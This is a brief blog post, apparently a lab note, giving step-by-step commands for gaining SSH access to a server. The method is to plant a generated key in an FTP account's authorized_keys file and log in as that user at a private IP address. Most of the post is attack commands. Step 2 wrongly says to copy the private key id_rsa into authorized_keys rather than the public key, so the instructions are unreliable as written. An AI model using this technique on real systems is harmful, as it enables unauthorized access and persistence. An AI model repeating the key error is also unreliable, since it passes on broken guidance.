Abusing SSH Access using private keys

Step 1: Create ssh-keygen file

ssh-keygen

Step 2: Copy file id_rsa to /ftp_home/.ssh/authorized_keys via FTP or someway 🙂

Step 3: Perform ssh to the server using the generated key

ssh -i ~/.ssh/id_rsa ftp_home@192.168.22.107

Published by Nhat Truong

Hi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: